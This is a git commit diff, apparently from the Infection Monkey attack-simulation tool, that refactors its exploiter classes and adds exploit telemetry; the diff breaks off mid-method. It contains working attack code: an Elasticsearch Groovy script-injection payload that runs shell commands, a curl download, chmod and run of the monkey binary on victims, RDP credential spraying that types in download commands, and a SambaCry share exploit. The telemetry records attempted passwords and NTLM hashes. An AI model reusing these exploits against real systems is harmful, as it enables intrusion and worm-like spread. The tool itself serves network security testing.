Merge pull request #60 from guardicore/feature/change-exploit-telemetry
Feature/change exploit telemetry
This commit is contained in:
commit
f7b8554c26
|
@ -5,13 +5,31 @@ __author__ = 'itamar'
|
|||
|
||||
class HostExploiter(object):
|
||||
__metaclass__ = ABCMeta
|
||||
_target_os_type = []
|
||||
|
||||
def is_os_supported(self, host):
|
||||
return host.os.get('type') in self._target_os_type
|
||||
_TARGET_OS_TYPE = []
|
||||
|
||||
def __init__(self, host):
|
||||
|
||||
self._exploit_info = {}
|
||||
self._exploit_attempts = []
|
||||
self.host = host
|
||||
|
||||
def is_os_supported(self):
|
||||
return self.host.os.get('type') in self._TARGET_OS_TYPE
|
||||
|
||||
def send_exploit_telemetry(self, result):
|
||||
from control import ControlClient
|
||||
ControlClient.send_telemetry(
|
||||
'exploit',
|
||||
{'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__,
|
||||
'info': self._exploit_info, 'attempts': self._exploit_attempts})
|
||||
|
||||
def report_login_attempt(self, result, user, password, lm_hash='', ntlm_hash=''):
|
||||
self._exploit_attempts.append({'result': result, 'user': user, 'password': password,
|
||||
'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash})
|
||||
|
||||
@abstractmethod
|
||||
def exploit_host(self, host, depth=-1, src_path=None):
|
||||
def exploit_host(self):
|
||||
raise NotImplementedError()
|
||||
|
||||
|
||||
|
|
|
@ -11,9 +11,8 @@ import requests
|
|||
|
||||
from exploit import HostExploiter
|
||||
from model import MONKEY_ARG
|
||||
from model.host import VictimHost
|
||||
from network.elasticfinger import ES_SERVICE, ES_PORT
|
||||
from tools import get_target_monkey, HTTPTools, build_monkey_commandline
|
||||
from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth
|
||||
|
||||
__author__ = 'danielg'
|
||||
|
||||
|
@ -21,38 +20,40 @@ LOG = logging.getLogger(__name__)
|
|||
|
||||
|
||||
class ElasticGroovyExploiter(HostExploiter):
|
||||
_target_os_type = ['linux', 'windows']
|
||||
|
||||
# attack URLs
|
||||
BASE_URL = 'http://%s:%s/_search?pretty'
|
||||
MONKEY_RESULT_FIELD = "monkey_result"
|
||||
GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
|
||||
JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")'
|
||||
JAVA_GET_TMP_DIR = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")'
|
||||
JAVA_GET_TMP_DIR =\
|
||||
GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")'
|
||||
JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")'
|
||||
JAVA_CMD = GENERIC_QUERY % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
|
||||
JAVA_CMD = GENERIC_QUERY \
|
||||
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
|
||||
JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m'
|
||||
|
||||
DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
|
||||
|
||||
def __init__(self):
|
||||
_TARGET_OS_TYPE = ['linux', 'windows']
|
||||
|
||||
def __init__(self, host):
|
||||
super(ElasticGroovyExploiter, self).__init__(host)
|
||||
self._config = __import__('config').WormConfiguration
|
||||
self.skip_exist = self._config.skip_exploit_if_file_exist
|
||||
|
||||
def is_os_supported(self, host):
|
||||
def is_os_supported(self):
|
||||
"""
|
||||
Checks if the host is vulnerable.
|
||||
Either using version string or by trying to attack
|
||||
:param host: VictimHost
|
||||
:return:
|
||||
"""
|
||||
if host.os.get('type') not in self._target_os_type:
|
||||
if not super(ElasticGroovyExploiter, self).is_os_supported():
|
||||
return False
|
||||
|
||||
if ES_SERVICE not in host.services:
|
||||
LOG.info("Host: %s doesn't have ES open" % host.ip_addr)
|
||||
if ES_SERVICE not in self.host.services:
|
||||
LOG.info("Host: %s doesn't have ES open" % self.host.ip_addr)
|
||||
return False
|
||||
major, minor, build = host.services[ES_SERVICE]['version'].split('.')
|
||||
major, minor, build = self.host.services[ES_SERVICE]['version'].split('.')
|
||||
major = int(major)
|
||||
minor = int(minor)
|
||||
build = int(build)
|
||||
|
@ -62,19 +63,17 @@ class ElasticGroovyExploiter(HostExploiter):
|
|||
return False
|
||||
if major == 1 and minor == 4 and build > 2:
|
||||
return False
|
||||
return self.is_vulnerable(host)
|
||||
return self.is_vulnerable()
|
||||
|
||||
def exploit_host(self, host, depth=-1, src_path=None):
|
||||
assert isinstance(host, VictimHost)
|
||||
|
||||
real_host_os = self.get_host_os(host)
|
||||
host.os['type'] = str(real_host_os.lower()) # strip unicode characters
|
||||
if 'linux' in host.os['type']:
|
||||
return self.exploit_host_linux(host, depth, src_path)
|
||||
def exploit_host(self):
|
||||
real_host_os = self.get_host_os()
|
||||
self.host.os['type'] = str(real_host_os.lower()) # strip unicode characters
|
||||
if 'linux' in self.host.os['type']:
|
||||
return self.exploit_host_linux()
|
||||
else:
|
||||
return self.exploit_host_windows(host, depth, src_path)
|
||||
return self.exploit_host_windows()
|
||||
|
||||
def exploit_host_windows(self, host, depth=-1, src_path=None):
|
||||
def exploit_host_windows(self):
|
||||
"""
|
||||
TODO
|
||||
Will exploit windows similar to smbexec
|
||||
|
@ -82,150 +81,148 @@ class ElasticGroovyExploiter(HostExploiter):
|
|||
"""
|
||||
return False
|
||||
|
||||
def exploit_host_linux(self, host, depth=-1, src_path=None):
|
||||
def exploit_host_linux(self):
|
||||
"""
|
||||
Exploits linux using similar flow to sshexec and shellshock.
|
||||
Meaning run remote commands to copy files over HTTP
|
||||
:return:
|
||||
"""
|
||||
uname_machine = str(self.get_linux_arch(host))
|
||||
uname_machine = str(self.get_linux_arch())
|
||||
if len(uname_machine) != 0:
|
||||
host.os['machine'] = str(uname_machine.lower().strip()) # strip unicode characters
|
||||
self.host.os['machine'] = str(uname_machine.lower().strip()) # strip unicode characters
|
||||
dropper_target_path_linux = self._config.dropper_target_path_linux
|
||||
if self.skip_exist and (self.check_if_remote_file_exists_linux(host, dropper_target_path_linux)):
|
||||
LOG.info("Host %s was already infected under the current configuration, done" % host)
|
||||
if self.skip_exist and (self.check_if_remote_file_exists_linux(dropper_target_path_linux)):
|
||||
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
||||
return True # return already infected
|
||||
src_path = src_path or get_target_monkey(host)
|
||||
src_path = get_target_monkey(self.host)
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", host)
|
||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
|
||||
if not self.download_file_in_linux(host, src_path, target_path=dropper_target_path_linux):
|
||||
if not self.download_file_in_linux(src_path, target_path=dropper_target_path_linux):
|
||||
return False
|
||||
|
||||
self.set_file_executable_linux(host, dropper_target_path_linux)
|
||||
self.run_monkey_linux(host, dropper_target_path_linux, depth)
|
||||
self.set_file_executable_linux(dropper_target_path_linux)
|
||||
self.run_monkey_linux(dropper_target_path_linux)
|
||||
|
||||
if not (self.check_if_remote_file_exists_linux(host, self._config.monkey_log_path_linux)):
|
||||
if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)):
|
||||
LOG.info("Log file does not exist, monkey might not have run")
|
||||
|
||||
return True
|
||||
|
||||
def run_monkey_linux(self, host, dropper_target_path_linux, depth):
|
||||
def run_monkey_linux(self, dropper_target_path_linux):
|
||||
"""
|
||||
Runs the monkey
|
||||
"""
|
||||
cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG)
|
||||
cmdline += build_monkey_commandline(host, depth - 1) + ' & '
|
||||
self.run_shell_command(host, cmdline)
|
||||
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & '
|
||||
self.run_shell_command(cmdline)
|
||||
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||
self._config.dropper_target_path_linux, host, cmdline)
|
||||
if not (self.check_if_remote_file_exists_linux(host, self._config.monkey_log_path_linux)):
|
||||
self._config.dropper_target_path_linux, self.host, cmdline)
|
||||
if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)):
|
||||
LOG.info("Log file does not exist, monkey might not have run")
|
||||
|
||||
def download_file_in_linux(self, host, src_path, target_path):
|
||||
def download_file_in_linux(self, src_path, target_path):
|
||||
"""
|
||||
Downloads a file in target machine using curl to the given target path
|
||||
:param host:
|
||||
:param src_path: File path relative to the monkey
|
||||
:param target_path: Target path in linux victim
|
||||
:return: T/F
|
||||
"""
|
||||
http_path, http_thread = HTTPTools.create_transfer(host, src_path)
|
||||
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
|
||||
if not http_path:
|
||||
LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__)
|
||||
return False
|
||||
download_command = '/usr/bin/curl %s -o %s' % (
|
||||
http_path, target_path)
|
||||
self.run_shell_command(host, download_command)
|
||||
self.run_shell_command(download_command)
|
||||
http_thread.join(self.DOWNLOAD_TIMEOUT)
|
||||
http_thread.stop()
|
||||
if (http_thread.downloads != 1) or (
|
||||
'ELF' not in
|
||||
self.check_if_remote_file_exists_linux(host, target_path)):
|
||||
self.check_if_remote_file_exists_linux(target_path)):
|
||||
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
|
||||
return False
|
||||
return True
|
||||
|
||||
def set_file_executable_linux(self, host, file_path):
|
||||
def set_file_executable_linux(self, file_path):
|
||||
"""
|
||||
Marks the given file as executable using chmod
|
||||
:return: Nothing
|
||||
"""
|
||||
chmod = '/bin/chmod +x %s' % file_path
|
||||
self.run_shell_command(host, chmod)
|
||||
LOG.info("Marked file %s on host %s as executable", file_path, host)
|
||||
self.run_shell_command(chmod)
|
||||
LOG.info("Marked file %s on host %s as executable", file_path, self.host)
|
||||
|
||||
def check_if_remote_file_exists_linux(self, host, file_path):
|
||||
def check_if_remote_file_exists_linux(self, file_path):
|
||||
"""
|
||||
:return:
|
||||
"""
|
||||
cmdline = '/usr/bin/head -c 4 %s' % file_path
|
||||
return self.run_shell_command(host, cmdline)
|
||||
return self.run_shell_command(cmdline)
|
||||
|
||||
def run_shell_command(self, host, command):
|
||||
def run_shell_command(self, command):
|
||||
"""
|
||||
Runs a single shell command and returns the result.
|
||||
"""
|
||||
payload = self.JAVA_CMD % command
|
||||
result = self.get_command_result(host, payload)
|
||||
LOG.info("Ran the command %s on host %s", command, payload)
|
||||
result = self.get_command_result(payload)
|
||||
LOG.info("Ran the command %s on host %s", command, self.host)
|
||||
return result
|
||||
|
||||
def get_linux_arch(self, host):
|
||||
def get_linux_arch(self):
|
||||
"""
|
||||
Returns host as per uname -m
|
||||
"""
|
||||
return self.get_command_result(host, self.JAVA_GET_BIT_LINUX)
|
||||
return self.get_command_result(self.JAVA_GET_BIT_LINUX)
|
||||
|
||||
def get_host_tempdir(self, host):
|
||||
def get_host_tempdir(self):
|
||||
"""
|
||||
Returns where to write our file given our permissions
|
||||
:return: Temp directory path in target host
|
||||
"""
|
||||
return self.get_command_result(host, self.JAVA_GET_TMP_DIR)
|
||||
return self.get_command_result(self.JAVA_GET_TMP_DIR)
|
||||
|
||||
def get_host_os(self, host):
|
||||
def get_host_os(self):
|
||||
"""
|
||||
:return: target OS
|
||||
"""
|
||||
return self.get_command_result(host, self.JAVA_GET_OS)
|
||||
return self.get_command_result(self.JAVA_GET_OS)
|
||||
|
||||
def is_vulnerable(self, host):
|
||||
def is_vulnerable(self):
|
||||
"""
|
||||
Checks if a given elasticsearch host is vulnerable to the groovy attack
|
||||
:param host: Host, with an open 9200 port
|
||||
:return: True/False
|
||||
"""
|
||||
result_text = self.get_command_result(host, self.JAVA_IS_VULNERABLE)
|
||||
result_text = self.get_command_result(self.JAVA_IS_VULNERABLE)
|
||||
return 'java.lang.Runtime' in result_text
|
||||
|
||||
def get_command_result(self, host, payload):
|
||||
def get_command_result(self, payload):
|
||||
"""
|
||||
Gets the result of an attack payload with a single return value.
|
||||
:param host: VictimHost configuration
|
||||
:param payload: Payload that fits the GENERIC_QUERY template.
|
||||
"""
|
||||
result = self.attack_query(host, payload)
|
||||
result = self.attack_query(payload)
|
||||
if not result: # not vulnerable
|
||||
return False
|
||||
return result[0]
|
||||
|
||||
def attack_query(self, host, payload):
|
||||
def attack_query(self, payload):
|
||||
"""
|
||||
Wraps the requests query and the JSON parsing.
|
||||
Just reduce opportunity for bugs
|
||||
:return: List of data fields or None
|
||||
"""
|
||||
response = requests.get(self.attack_url(host), data=payload)
|
||||
response = requests.get(self.attack_url(), data=payload)
|
||||
result = self.get_results(response)
|
||||
return result
|
||||
|
||||
def attack_url(self, host):
|
||||
def attack_url(self):
|
||||
"""
|
||||
Composes the URL to attack per host IP and port.
|
||||
:return: Elasticsearch vulnerable URL
|
||||
"""
|
||||
return self.BASE_URL % (host.ip_addr, ES_PORT)
|
||||
return self.BASE_URL % (self.host.ip_addr, ES_PORT)
|
||||
|
||||
def get_results(self, response):
|
||||
"""
|
||||
|
|
|
@ -1,19 +1,21 @@
|
|||
import time
|
||||
import threading
|
||||
import os.path
|
||||
import twisted.python.log
|
||||
import threading
|
||||
import time
|
||||
from logging import getLogger
|
||||
|
||||
import rdpy.core.log as rdpy_log
|
||||
import twisted.python.log
|
||||
from rdpy.core.error import RDPSecurityNegoFail
|
||||
from rdpy.protocol.rdp import rdp
|
||||
from twisted.internet import reactor
|
||||
from rdpy.core.error import RDPSecurityNegoFail
|
||||
from logging import getLogger
|
||||
|
||||
from exploit import HostExploiter
|
||||
from exploit.tools import HTTPTools
|
||||
from model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
|
||||
from model.host import VictimHost
|
||||
from network.tools import check_port_tcp
|
||||
from exploit.tools import HTTPTools, get_monkey_depth
|
||||
from exploit.tools import get_target_monkey
|
||||
from tools import build_monkey_commandline, report_failed_login
|
||||
from model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
|
||||
from network.tools import check_port_tcp
|
||||
from tools import build_monkey_commandline
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
||||
KEYS_INTERVAL = 0.1
|
||||
|
@ -37,6 +39,7 @@ def twisted_log_func(*message, **kw):
|
|||
def rdpy_log_func(message):
|
||||
LOG.debug("Message from rdpy library: %s" % (message,))
|
||||
|
||||
|
||||
twisted.python.log.msg = twisted_log_func
|
||||
rdpy_log._LOG_LEVEL = rdpy_log.Level.ERROR
|
||||
rdpy_log.log = rdpy_log_func
|
||||
|
@ -125,16 +128,17 @@ class KeyPressRDPClient(rdp.RDPClientObserver):
|
|||
if key.updates == 0:
|
||||
self._keys = self._keys[1:]
|
||||
elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE):
|
||||
self._wait_for_update = False
|
||||
self._update_lock.release()
|
||||
if type(key) is ScanCodeEvent:
|
||||
reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed, key.is_special)
|
||||
elif type(key) is CharEvent:
|
||||
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed)
|
||||
elif type(key) is SleepEvent:
|
||||
time.sleep(key.interval)
|
||||
self._wait_for_update = False
|
||||
self._update_lock.release()
|
||||
if type(key) is ScanCodeEvent:
|
||||
reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed,
|
||||
key.is_special)
|
||||
elif type(key) is CharEvent:
|
||||
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed)
|
||||
elif type(key) is SleepEvent:
|
||||
time.sleep(key.interval)
|
||||
|
||||
self._keys = self._keys[1:]
|
||||
self._keys = self._keys[1:]
|
||||
else:
|
||||
self._update_lock.release()
|
||||
time.sleep(KEYS_SENDER_SLEEP)
|
||||
|
@ -170,7 +174,7 @@ class CMDClientFactory(rdp.ClientFactory):
|
|||
ScanCodeEvent(19, False),
|
||||
ScanCodeEvent(91, False, True), WaitUpdateEvent()] + str_to_keys("cmd /v") + \
|
||||
[WaitUpdateEvent(), ScanCodeEvent(28, True),
|
||||
ScanCodeEvent(28, False), WaitUpdateEvent()] + str_to_keys(command+"&exit") +\
|
||||
ScanCodeEvent(28, False), WaitUpdateEvent()] + str_to_keys(command + "&exit") + \
|
||||
[WaitUpdateEvent(), ScanCodeEvent(28, True),
|
||||
ScanCodeEvent(28, False), WaitUpdateEvent()]
|
||||
self._optimized = optimized
|
||||
|
@ -228,40 +232,41 @@ class CMDClientFactory(rdp.ClientFactory):
|
|||
|
||||
|
||||
class RdpExploiter(HostExploiter):
|
||||
_target_os_type = ['windows']
|
||||
|
||||
def __init__(self):
|
||||
_TARGET_OS_TYPE = ['windows']
|
||||
|
||||
def __init__(self, host):
|
||||
super(RdpExploiter, self).__init__(host)
|
||||
self._config = __import__('config').WormConfiguration
|
||||
self._guid = __import__('config').GUID
|
||||
|
||||
def is_os_supported(self, host):
|
||||
if host.os.get('type') in self._target_os_type:
|
||||
def is_os_supported(self):
|
||||
if super(RdpExploiter, self).is_os_supported():
|
||||
return True
|
||||
|
||||
if not host.os.get('type'):
|
||||
is_open, _ = check_port_tcp(host.ip_addr, RDP_PORT)
|
||||
if not self.host.os.get('type'):
|
||||
is_open, _ = check_port_tcp(self.host.ip_addr, RDP_PORT)
|
||||
if is_open:
|
||||
host.os['type'] = 'windows'
|
||||
self.host.os['type'] = 'windows'
|
||||
return True
|
||||
return False
|
||||
|
||||
def exploit_host(self, host, depth=-1, src_path=None):
|
||||
def exploit_host(self):
|
||||
global g_reactor
|
||||
assert isinstance(host, VictimHost)
|
||||
|
||||
is_open, _ = check_port_tcp(host.ip_addr, RDP_PORT)
|
||||
is_open, _ = check_port_tcp(self.host.ip_addr, RDP_PORT)
|
||||
if not is_open:
|
||||
LOG.info("RDP port is closed on %r, skipping", host)
|
||||
LOG.info("RDP port is closed on %r, skipping", self.host)
|
||||
return False
|
||||
|
||||
src_path = src_path or get_target_monkey(host)
|
||||
src_path = get_target_monkey(self.host)
|
||||
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", host)
|
||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
|
||||
# create server for http download.
|
||||
http_path, http_thread = HTTPTools.create_transfer(host, src_path)
|
||||
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
|
||||
|
||||
if not http_path:
|
||||
LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.")
|
||||
|
@ -269,7 +274,7 @@ class RdpExploiter(HostExploiter):
|
|||
|
||||
LOG.info("Started http server on %s", http_path)
|
||||
|
||||
cmdline = build_monkey_commandline(host, depth-1)
|
||||
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||
|
||||
if self._config.rdp_use_vbs_download:
|
||||
command = RDP_CMDLINE_HTTP_VBS % {
|
||||
|
@ -280,7 +285,6 @@ class RdpExploiter(HostExploiter):
|
|||
'monkey_path': self._config.dropper_target_path,
|
||||
'http_path': http_path, 'parameters': cmdline}
|
||||
|
||||
|
||||
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
||||
|
||||
if not g_reactor.is_alive():
|
||||
|
@ -292,27 +296,27 @@ class RdpExploiter(HostExploiter):
|
|||
try:
|
||||
# run command using rdp.
|
||||
LOG.info("Trying RDP logging into victim %r with user %s and password '%s'",
|
||||
host, user, password)
|
||||
self.host, user, password)
|
||||
|
||||
LOG.info("RDP connected to %r", host)
|
||||
LOG.info("RDP connected to %r", self.host)
|
||||
|
||||
client_factory = CMDClientFactory(user, password, "", command)
|
||||
|
||||
reactor.callFromThread(reactor.connectTCP, host.ip_addr, RDP_PORT, client_factory)
|
||||
reactor.callFromThread(reactor.connectTCP, self.host.ip_addr, RDP_PORT, client_factory)
|
||||
|
||||
client_factory.done_event.wait()
|
||||
|
||||
if client_factory.success:
|
||||
exploited = True
|
||||
host.learn_credentials(user, password)
|
||||
self.report_login_attempt(True, user, password)
|
||||
break
|
||||
else:
|
||||
# failed exploiting with this user/pass
|
||||
report_failed_login(self, host, user, password)
|
||||
self.report_login_attempt(False, user, password)
|
||||
|
||||
except Exception, exc:
|
||||
except Exception as exc:
|
||||
LOG.debug("Error logging into victim %r with user"
|
||||
" %s and password '%s': (%s)", host,
|
||||
" %s and password '%s': (%s)", self.host,
|
||||
user, password, exc)
|
||||
continue
|
||||
|
||||
|
@ -327,6 +331,6 @@ class RdpExploiter(HostExploiter):
|
|||
return False
|
||||
|
||||
LOG.info("Executed monkey '%s' on remote victim %r",
|
||||
os.path.basename(src_path), host)
|
||||
os.path.basename(src_path), self.host)
|
||||
|
||||
return True
|
||||
|
|
|
@ -19,7 +19,7 @@ import monkeyfs
|
|||
from exploit import HostExploiter
|
||||
from model import DROPPER_ARG
|
||||
from network.smbfinger import SMB_SERVICE
|
||||
from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path
|
||||
from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path, get_monkey_depth
|
||||
|
||||
__author__ = 'itay.mizeretz'
|
||||
|
||||
|
@ -31,8 +31,8 @@ class SambaCryExploiter(HostExploiter):
|
|||
SambaCry exploit module, partially based on the following implementation by CORE Security Technologies' impacket:
|
||||
https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py
|
||||
"""
|
||||
_target_os_type = ['linux']
|
||||
|
||||
_TARGET_OS_TYPE = ['linux']
|
||||
# Name of file which contains the monkey's commandline
|
||||
SAMBACRY_COMMANDLINE_FILENAME = "monkey_commandline.txt"
|
||||
# Name of file which contains the runner's result
|
||||
|
@ -50,21 +50,22 @@ class SambaCryExploiter(HostExploiter):
|
|||
# Monkey copy filename on share (64 bit)
|
||||
SAMBACRY_MONKEY_COPY_FILENAME_64 = "monkey64_2"
|
||||
|
||||
def __init__(self):
|
||||
def __init__(self, host):
|
||||
super(SambaCryExploiter, self).__init__(host)
|
||||
self._config = __import__('config').WormConfiguration
|
||||
|
||||
def exploit_host(self, host, depth=-1, src_path=None):
|
||||
if not self.is_vulnerable(host):
|
||||
def exploit_host(self):
|
||||
if not self.is_vulnerable():
|
||||
return False
|
||||
|
||||
writable_shares_creds_dict = self.get_writable_shares_creds_dict(host.ip_addr)
|
||||
writable_shares_creds_dict = self.get_writable_shares_creds_dict(self.host.ip_addr)
|
||||
LOG.info("Writable shares and their credentials on host %s: %s" %
|
||||
(host.ip_addr, str(writable_shares_creds_dict)))
|
||||
(self.host.ip_addr, str(writable_shares_creds_dict)))
|
||||
|
||||
host.services[SMB_SERVICE]["shares"] = {}
|
||||
self._exploit_info["shares"] = {}
|
||||
for share in writable_shares_creds_dict:
|
||||
host.services[SMB_SERVICE]["shares"][share] = {"creds": writable_shares_creds_dict[share]}
|
||||
self.try_exploit_share(host, share, writable_shares_creds_dict[share], depth)
|
||||
self._exploit_info["shares"][share] = {"creds": writable_shares_creds_dict[share]}
|
||||
self.try_exploit_share(share, writable_shares_creds_dict[share])
|
||||
|
||||
# Wait for samba server to load .so, execute code and create result file.
|
||||
time.sleep(self._config.sambacry_trigger_timeout)
|
||||
|
@ -72,37 +73,40 @@ class SambaCryExploiter(HostExploiter):
|
|||
successfully_triggered_shares = []
|
||||
|
||||
for share in writable_shares_creds_dict:
|
||||
trigger_result = self.get_trigger_result(host.ip_addr, share, writable_shares_creds_dict[share])
|
||||
trigger_result = self.get_trigger_result(self.host.ip_addr, share, writable_shares_creds_dict[share])
|
||||
creds = writable_shares_creds_dict[share]
|
||||
self.report_login_attempt(
|
||||
trigger_result is not None, creds['username'], creds['password'], creds['lm_hash'], creds['ntlm_hash'])
|
||||
if trigger_result is not None:
|
||||
successfully_triggered_shares.append((share, trigger_result))
|
||||
self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share])
|
||||
self.clean_share(self.host.ip_addr, share, writable_shares_creds_dict[share])
|
||||
|
||||
for share, fullpath in successfully_triggered_shares:
|
||||
host.services[SMB_SERVICE]["shares"][share]["fullpath"] = fullpath
|
||||
self._exploit_info["shares"][share]["fullpath"] = fullpath
|
||||
|
||||
if len(successfully_triggered_shares) > 0:
|
||||
LOG.info(
|
||||
"Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares)))
|
||||
"Shares triggered successfully on host %s: %s" % (
|
||||
self.host.ip_addr, str(successfully_triggered_shares)))
|
||||
return True
|
||||
else:
|
||||
LOG.info("No shares triggered successfully on host %s" % host.ip_addr)
|
||||
LOG.info("No shares triggered successfully on host %s" % self.host.ip_addr)
|
||||
return False
|
||||
|
||||
def try_exploit_share(self, host, share, creds, depth):
|
||||
def try_exploit_share(self, share, creds):
|
||||
"""
|
||||
Tries exploiting share
|
||||
:param host: victim Host object
|
||||
:param share: share name
|
||||
:param creds: credentials to use with share
|
||||
:param depth: current depth of monkey
|
||||
"""
|
||||
try:
|
||||
smb_client = self.connect_to_server(host.ip_addr, creds)
|
||||
self.upload_module(smb_client, host, share, depth)
|
||||
smb_client = self.connect_to_server(self.host.ip_addr, creds)
|
||||
self.upload_module(smb_client, share)
|
||||
self.trigger_module(smb_client, share)
|
||||
except (impacket.smbconnection.SessionError, SessionError):
|
||||
LOG.debug(
|
||||
"Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds)))
|
||||
"Exception trying to exploit host: %s, share: %s, with creds: %s." % (
|
||||
self.host.ip_addr, share, str(creds)))
|
||||
|
||||
def clean_share(self, ip, share, creds):
|
||||
"""
|
||||
|
@ -189,18 +193,17 @@ class SambaCryExploiter(HostExploiter):
|
|||
shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()]
|
||||
return [x for x in shares if x not in self._config.sambacry_shares_not_to_check]
|
||||
|
||||
def is_vulnerable(self, host):
|
||||
def is_vulnerable(self):
|
||||
"""
|
||||
Checks whether the victim runs a possibly vulnerable version of samba
|
||||
:param host: victim Host object
|
||||
:return: True if victim is vulnerable, False otherwise
|
||||
"""
|
||||
if SMB_SERVICE not in host.services:
|
||||
LOG.info("Host: %s doesn't have SMB open" % host.ip_addr)
|
||||
if SMB_SERVICE not in self.host.services:
|
||||
LOG.info("Host: %s doesn't have SMB open" % self.host.ip_addr)
|
||||
return False
|
||||
|
||||
pattern = re.compile(r'\d*\.\d*\.\d*')
|
||||
smb_server_name = host.services[SMB_SERVICE].get('name')
|
||||
smb_server_name = self.host.services[SMB_SERVICE].get('name')
|
||||
samba_version = "unknown"
|
||||
pattern_result = pattern.search(smb_server_name)
|
||||
is_vulnerable = False
|
||||
|
@ -225,46 +228,19 @@ class SambaCryExploiter(HostExploiter):
|
|||
is_vulnerable = True
|
||||
|
||||
LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" %
|
||||
(host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable)))
|
||||
(self.host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable)))
|
||||
|
||||
return is_vulnerable
|
||||
|
||||
def is_share_writable(self, smb_client, share):
|
||||
"""
|
||||
Checks whether the share is writable
|
||||
:param smb_client: smb client object
|
||||
:param share: share name
|
||||
:return: True if share is writable, False otherwise.
|
||||
"""
|
||||
LOG.debug('Checking %s for write access' % share)
|
||||
try:
|
||||
tree_id = smb_client.connectTree(share)
|
||||
except (impacket.smbconnection.SessionError, SessionError):
|
||||
return False
|
||||
|
||||
try:
|
||||
smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
|
||||
writable = True
|
||||
except (impacket.smbconnection.SessionError, SessionError):
|
||||
writable = False
|
||||
pass
|
||||
|
||||
smb_client.disconnectTree(tree_id)
|
||||
|
||||
return writable
|
||||
|
||||
def upload_module(self, smb_client, host, share, depth):
|
||||
def upload_module(self, smb_client, share):
|
||||
"""
|
||||
Uploads the module and all relevant files to server
|
||||
:param smb_client: smb client object
|
||||
:param host: victim Host object
|
||||
:param share: share name
|
||||
:param depth: current depth of monkey
|
||||
"""
|
||||
tree_id = smb_client.connectTree(share)
|
||||
|
||||
with self.get_monkey_commandline_file(host, depth,
|
||||
self._config.dropper_target_path_linux) as monkey_commandline_file:
|
||||
with self.get_monkey_commandline_file(self._config.dropper_target_path_linux) as monkey_commandline_file:
|
||||
smb_client.putFile(share, "\\%s" % self.SAMBACRY_COMMANDLINE_FILENAME, monkey_commandline_file.read)
|
||||
|
||||
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
|
||||
|
@ -284,18 +260,6 @@ class SambaCryExploiter(HostExploiter):
|
|||
|
||||
smb_client.disconnectTree(tree_id)
|
||||
|
||||
def connect_to_server(self, ip, credentials):
|
||||
"""
|
||||
Connects to server using given credentials
|
||||
:param ip: IP of server
|
||||
:param credentials: credentials to log in with
|
||||
:return: SMBConnection object representing the connection
|
||||
"""
|
||||
smb_client = SMBConnection(ip, ip)
|
||||
smb_client.login(
|
||||
credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"])
|
||||
return smb_client
|
||||
|
||||
def trigger_module(self, smb_client, share):
|
||||
"""
|
||||
Tries triggering module
|
||||
|
@ -346,11 +310,50 @@ class SambaCryExploiter(HostExploiter):
|
|||
else:
|
||||
return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_64), "rb")
|
||||
|
||||
def get_monkey_commandline_file(self, host, depth, location):
|
||||
